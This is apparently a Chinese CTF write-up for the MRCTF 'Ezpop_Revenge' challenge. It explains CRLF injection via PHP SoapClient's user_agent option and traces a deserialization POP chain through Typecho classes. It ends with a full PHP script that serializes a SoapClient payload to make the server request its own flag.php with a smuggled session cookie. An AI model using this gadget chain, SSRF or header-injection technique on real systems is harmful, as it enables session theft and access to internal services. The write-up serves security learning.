soap介绍
SOAP 是基于 XML 的简易协议,可使应用程序在 HTTP 之上进行信息交换。
或者更简单地说:SOAP 是用于访问网络服务的协议。
产生漏洞的原因
PHP 的 SOAP 扩展可以用来提供和使用 Web Services,在 SoapClient 中,可以看到有这样的用法,
public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )
在$options的介绍中,有这样一句话
The user_agent option specifies string to use in User-Agent header.
可以使用user_agent选项定义User-Agent头
如何利用User-Agent进行CRLF漏洞?
因为User-Agent
的http header位置正好在Content-Type 和 Content-Length这些之上,所以可以进行覆盖,达成CRLF漏洞。关于CRLF漏洞可以看这篇文章
https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html
Ezpop_Revenge
考点
反序列化pop链构造,SSRF
解题过程
www.zip老套路拿到源码,进行分析,先找入口,直接全局搜索MRCTF就能找到关键代码
usr/plugins/HelloWorld/Plugin.php
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class HelloWorld_Plugin implements Typecho_Plugin_Interface{
public function action(){
if(!isset($_SESSION)) session_start();
if(isset($_REQUEST['admin'])) var_dump($_SESSION);
if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}
}
}
}
以及flag.php
<?php if(!isset($_SESSION)) session_start();if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";?>
可以看到Plugin.php中如果有$_REQUEST['admin']
就会输出session,并且$_SERVER['REMOTE_ADDR']==="127.0.0.1"
的话,flag也是在session中的。
在HelloWorld_DB
的__wakeup()
方法内实例化了Typecho_Db
类,查看/var/Typecho/Db.php内容
class Typecho_Db{
public function __construct($adapterName, $prefix = 'typecho_'){
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}
}
代码长就只贴关键的了,
Typecho_Db_Exception
类在/var/Typecho/Db/Query.php中,这里有一个//__toString()
的注释,直接看__toString函数里的内容
public function __construct(Typecho_Db_Adapter $adapter, $prefix){
$this->_adapter = &$adapter;
$this->_prefix = $prefix;
$this->_sqlPreBuild = self::$_default;
}
public function __toString(){
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}
return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}
假设我们把_adapter
实例化为SoapClient
,在调用parseSelect
这个不存在的方法时,会自动调用_call
方法,就用上文的方法来执行
public SoapClient::__call ( string $function_name , array $arguments )
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
pop链
反序列化位于
/usr/plugins/HelloWord/Plugin.php
中的HelloWorld_DB类,触发__wakeup()
,实例化Typecho_Db
位于
/var/Typecho/Db.php
跟进Typecho_Db
类,传输的$this->coincidence['hello']
为__construct的$adapterName参数
$this->coincidence['hello']
实例化Typecho_Db_Query
对象,控制其中的$adapterName
$adapterName
拼接到字符串中,触发__tostring
私有变量
$_adapter
为soap类来本地访问flag.php
在调用
parseSelect
这个不存在的方法时,会自动调用_call
方法,完成反序列化
想要带SESSION出来,需要传PHPSESSID,这里用CRLF漏洞来执行。只要在UA后加上\r\nCookie: PHPSESSID=xxx
就能为http头添加一个新的Cookie字段,这样就能带上session了。
构造脚本
<?php class Typecho_Db_Query{private $_sqlPreBuild;private $_adapter;public function __construct(){
$target = 'http://127.0.0.1/flag.php';
$headers = array('X-Forwarded-For: 127.0.0.1','Cookie: PHPSESSID=6m5gros2iar5ds6amiua24mgn1'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'aaaa^^'.join('^^',$headers),'uri' => "aaab"));$this->_sqlPreBuild =array("action"=>"SELECT");$this->_adapter = $b;
}
}class HelloWorld_DB{private $coincidence;public function __construct(){$this->coincidence = ["hello" => new Typecho_Db_Query()];
}
}
$a = new HelloWorld_DB();
$aaa = serialize($a);
这时候我们把结果s改为S,并添加\00
再进行
$aaa = str_replace('^^',"\r\n",$aaa);
echo base64_encode($aaa);
不用带上post内容再重新访问页面就可以了
小结
在这个题目中,主要用到的是替换cookie以及内网的功能,可以更多使用ssrf来打内容,通过CRLF的,可以执行其他操作包括sql注入,命令执行,也是很大的攻击面,除了php,soap还有其他利用方式需要继续学习。